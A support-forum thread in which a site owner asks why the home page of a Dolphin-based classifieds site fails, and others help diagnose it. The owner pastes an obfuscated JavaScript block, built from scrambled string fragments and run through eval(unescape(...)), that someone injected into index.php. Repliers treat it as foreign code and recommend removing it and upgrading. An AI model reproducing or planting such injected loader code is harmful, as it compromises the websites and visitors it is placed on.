I can access every page of my website, including the Admin section, but I cannot view the Home Page! Everything was working just fine and then all of a sudden I get this message when typing my website address:
"Parse error: syntax error, unexpected '<' in /home/freepers/public_html/index.php on line 84"
I haven't made any changes to the site in months, so I don't understand how this happened, or how to fix it. Any help would be greatly appreciated.
Thanks
http://www.FreePersonalClassifieds.com
|
can you show me line 84 of the index.php?
or pm me your sites login, need to have ftp to look at the file. something has been changed. rest assured of that.
Regards,
DosDawg
When a GIG is not enough --> Terabyte Dolphin Technical Support - Server Management and Support |
unexpected '<'
says there is an open tag on line 84, can you confirm that?
Regards,
DosDawg
When a GIG is not enough --> Terabyte Dolphin Technical Support - Server Management and Support |
I don't know what it is, or how it has changed, but here is line 84 of the Index.php:
<script>var Hon0I="27cZ65cZ31cZ59";var SbNRUMa="cZ3BcZ76";var FGZtoGBV="place(/pN%/";var K01eAmNU="At658A";var qcPWIsb="648At2";var ofacCl2="EcZ74cZ2Ec";var sECO7="t668At6";var SV2pU4wd="Z5AcZ78cZ48cZ5";var mWuxl="DcZ22cZ3CcZ6";var ne2c0Yj="688At628A";sECO7+="88At628";var rxBnj1jz="(/8At/g,'%')));";var l8Qk6GcT="));var Dt8";var Hpad4P=";eval(unescap";var Gndo42Gj="HVYP76%";var MEWeGY="N%6%GpupN%%Gp";var EMmZ="2%P69%P6C%P69";var hShI="l(unesc";SV2pU4wd+="3cZ3DcZ";var tx0wb="69cZ66cZ2";var cBW9="4CcZ52cZ27";qcPWIsb+="E8At778A";var jV8OCz="Z3CcZ2FcZ62cZ";var b6RTz="%62pN%66p";var khHP="PiD='%P";var d88NoeQz="var fTS";d88NoeQz+="IQ7='cZ76cZ61cZ";hShI="27%P3B';eva"+hShI;var Th16A="ce(/O/g,'";var QFwX5xL="8At748At2E";var WI1OhPd="65cZ31cZ59";var TNmiYfd="51cZ75";l8Qk6GcT="(/%P/g,'%')"+l8Qk6GcT;var gzzcVJW="nescape(Tad5";var e35Qrmf7="cZ67cZ65cZ74cZ4";var AdAPmJ=" Tad5='8At76";khHP=rxBnj1jz+"var bc"+khHP;var bsPXnZ="Z64cZ6";var ZJTRDI0="%6CpN%6%GpupN%2";var WFo5BT="9cZ3EcZ27cZ3BcZ";Gndo42Gj="6C%P65%P2"+Gndo42Gj;var DmxZj7="At748At688";var xTdt22V8="I.repla";var QKlV="t6D8At";var foFn="ace(/cZ/g,'%'";var DV9p="64cZ67";Hpad4P=cBW9+"cZ29cZ3B'"+Hpad4P;var Ww8TG4="78At698At668";var uCD1p="cZ51cZ75cZ70cZ";var RQDFelEQ="%P4D%P27%P";EMmZ=Gndo42Gj+"P69%P73%P69%P6"+EMmZ;var fVP3="Z70cZ30cZ33";AdAPmJ=foFn+")));var"+AdAPmJ;e35Qrmf7="5cZ6EcZ74cZ2E"+e35Qrmf7;MEWeGY="0pN%65pN%6Ep"+MEWeGY;var PQ4QDw="8At638At3D8";var U0eu="cZ20cZ6";var hU490yZn="F8At638At75";tx0wb+="8cZ64cZ6FcZ63";sECO7+="At668At2E8A";DV9p+="cZ4BcZ3DcZ27cZ";var faz3w="8At278At3B';";QKlV=Ww8TG4+"At728At618A"+QKlV;uCD1p="Z79cZ3EcZ27cZ2B"+uCD1p;SbNRUMa+="cZ61cZ72c";var zNH8I87z="648At6F8At758A";var vayp="3CcZ2FcZ64cZ";var nbjL="62%P66%P2HVYP73";var KAYgzj="P66%P2HV";var ITv8mC="4D8At618At6C";var QKrigs="Z79cZ49cZ64cZ2";var ZI5Dn="cZ4CcZ52cZ27";e35Qrmf7+="5cZ6CcZ65c";var lZqNUn9b="61%P6D%P65%P";mWuxl="4cZ67cZ4BcZ3"+mWuxl;ZI5Dn=Hon0I+"cZ38cZ46cZ46"+ZI5Dn;EMmZ+="%P7OP79%P3D%P2";DV9p=TNmiYfd+"cZ70cZ30cZ33cZ"+DV9p;var GJn3TQLr="';eval(unesc";SbNRUMa="Z4BcZ29"+SbNRUMa;var VtYCW8O="51cZ75cZ70";AdAPmJ=Hpad4P+"e(fTSIQ7.repl"+AdAPmJ;l8Qk6GcT=").replace"+l8Qk6GcT;var KjyFosy4="cZ20cZ28cZ5";U0eu=mWuxl+"4cZ69cZ76"+U0eu;tx0wb+="cZ75cZ6DcZ65";khHP=gzzcVJW+".replace"+khHP;zNH8I87z+="t628At6C8At";AdAPmJ+="8At618At72";var Icci4P="OP3D%P27";DV9p+="3CcZ62cZ6";ne2c0Yj+="t668At2E8At";FGZtoGBV="pu/g,'4').re"+FGZtoGBV;PQ4QDw+="At278At688At";DmxZj7=sECO7+"t778At698At648"+DmxZj7;PQ4QDw=ne2c0Yj+"738At72"+PQ4QDw;ZI5Dn=U0eu+"9cZ64cZ3DcZ"+ZI5Dn;MEWeGY="pN%61pN%70pN%7"+MEWeGY;tx0wb="3EcZ22cZ3BcZ"+tx0wb;var A7eR="6%P68%P62%P66";e35Qrmf7="cZ6DcZ6"+e35Qrmf7;var TWnHoSy="N%58pN%5Ap";ITv8mC="68At728At"+ITv8mC;AdAPmJ+="8At208At";lZqNUn9b+="3D%P27%P6A";QFwX5xL="58At6E"+QFwX5xL;QKrigs="Z74cZ42c"+QKrigs;var RbY1Dvdd="At6F8At758At6";tx0wb+="cZ6EcZ74cZ2E";EMmZ=nbjL+"%P7OP79%P"+EMmZ;ZI5Dn=VtYCW8O+"cZ30cZ33cZ6"+ZI5Dn;WFo5BT+="64cZ6FcZ63cZ75";uCD1p=DV9p+"FcZ64c"+uCD1p;A7eR=Icci4P+"%P31%P27%P3B%P6"+A7eR;uCD1p="5cZ6CcZ6CcZ29cZ"+uCD1p;var Fp7fs="Z79cZ3DcZ3";zNH8I87z="8At2F8At"+zNH8I87z;TWnHoSy=l8Qk6GcT+"NI='pN%6Fp"+TWnHoSy;EMmZ+="7%P68%P69%P6O";var jOnZ3="place(/";TWnHoSy+="N%78pN%%Gpu8";Fp7fs=tx0wb+"cZ62cZ6FcZ64c"+Fp7fs;PQ4QDw+="748At74";SbNRUMa=fVP3+"cZ64cZ67c"+SbNRUMa;faz3w=DmxZj7+"At3D8At278At31"+fa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;hU490yZn="88At628At6"+hU490yZn;Th16A=K01eAmNU+"C8At658At"+Th16A;FGZtoGBV=xTdt22V8+"ce(/%G"+FGZtoGBV;e35Qrmf7=KjyFosy4+"1cZ75c"+e35Qrmf7;hU490yZn=AdAPmJ+"668At6"+hU490yZn;FGZtoGBV+="g,'%')));";Th16A=RbY1Dvdd+"28At6C8At658A"+Th16A;QFwX5xL+="8At638At72";e35Qrmf7=jV8OCz+"6FcZ64cZ7"+e35Qrmf7;e35Qrmf7=bsPXnZ+"7cZ4BcZ2BcZ27c"+e35Qrmf7;QFwX5xL=hU490yZn+"8At6D8At6"+QFwX5xL;jOnZ3=Th16A+"4%').re"+jOnZ3;RNyKa=AXN8UH+"t458At6C8At658A"+RNyKa;QFwX5xL=e35Qrmf7+"Z6DcZ65cZ6Ec"+QFwX5xL;QKlV=RNyKa+"At748At288At2"+QKlV;MEWeGY=jOnZ3+"HVY/g,'E%'"+MEWeGY;QKlV=QFwX5xL+"8At658At618At"+QKlV;QKlV=d88NoeQz+"72cZ20cZ"+QKlV;b6RTz=MEWeGY+"u3pN%68pN%69pN"+b6RTz;b6RTz=QKlV+"658At278At2"+b6RTz;FGZtoGBV=b6RTz+"N%29pN%3B"+FGZtoGBV;eval(FGZtoGBV);</script>
|
Also, I noticed that if I delete the entire line 84, then the homepage works fine, but my Google ads at the bottom of the page are not working properly... |
The standard issue index.php has 83 lines. I'm not sure how that code got in your index.php file, but it's definitely in the wrong place.
Who put that code in index.php?
My opinions expressed on this site, in no way represent those of Boonex or Boonex employees. |
is that posted in front of or behind the ?> php closing tag? this is javascript somebody has added to the wrong file. as houstonlively has asked, who put this code on this file?
Regards,
DosDawg
When a GIG is not enough --> Terabyte Dolphin Technical Support - Server Management and Support |
is that posted in front of or behind the ?> php closing tag? this is javascript somebody has added to the wrong file. as houstonlively has asked, who put this code on this file?
Regards,
DosDawg
It's within the pagecode function which can't have html tags. It's encrypted so you really can't tell what the code does. If the site owner doesn't know how it got there, that's not a good sign. Whatever the code's intended purpose, it's not going to work (obviously) and maybe that's a good thing.
My opinions expressed on this site, in no way represent those of Boonex or Boonex employees. |
I've deleted the bad code (which I did not put in). So now the website views and works normal, with the exception of the Google ads at the bottom of the home page. They just say "Classifieds Index PHP", which is definitely weird. All of my other pages show normal Google Ads, even though the code from Google is only entered once in my site's Admin...
Any suggestions or insights?
www.FreePersonalClassifieds.com
|
Which file did you modify to remove the code as www.freepersonalclassifieds.com/ is looking at a different file to www.freepersonalclassifieds/com/index.php. www.freepersonalclassifieds/com/index.php displays your google ads correctly as it is generated dynamically from your admin banner section. If also displays your Gold members correctly at the top of your website. However www.freepersonalclassifieds.com/ does not show either the google ads or your gold members correctly. In fact, in the place of your gold members it shows somethings rather odd and unrelated to your site in my browser. What does the line beginning with DirectoryIndex in your .htaccess file display? This should be in the root of www.freepersonalclassifieds.com/ |
Since removing the bad code, it appears that Google has adapted to correctly display ads now. My server can restore from backup files, but they are recommending I download or install any available security patches or updated Dolphin versions. (I have version 6.1.1) Should I update my version of Dolphin? If I do, will it affect any custom changes that I made to the current version, like my Zip Code search engine, background colors, ads, etc?
I'm afraid to mess up something that I spent so much time getting right...
Ryan
www.FreePersonalClassifieds.com
|
Definately upgrade to a version greater than 6.1.4. If you upgrade to 6.1.4 there are some manual coding changes you have to apply to secure the version, however I suspect that this fix has been applied or the issue has been properly addressed in 6.1.5 and 6.1.6. I recommend 6.1.6 and you should apply it as soon as possible. Remember to back up first. I am not sure of the upgrade path you need to take from the current version you are on. You may have to do a little digging around for that info. |
Since removing the bad code, it appears that Google has adapted to correctly display ads now. My server can restore from backup files, but they are recommending I download or install any available security patches or updated Dolphin versions. (I have version 6.1.1) Should I update my version of Dolphin? If I do, will it affect any custom changes that I made to the current version, like my Zip Code search engine, background colors, ads, etc?
I'm afraid to mess up something that I spent so much time getting right...
Ryan
www.FreePersonalClassifieds.com
I would recommend that you copy your entire site to a test site and try upgrades on the test site before you make any changes on a live site.
My opinions expressed on this site, in no way represent those of Boonex or Boonex employees. |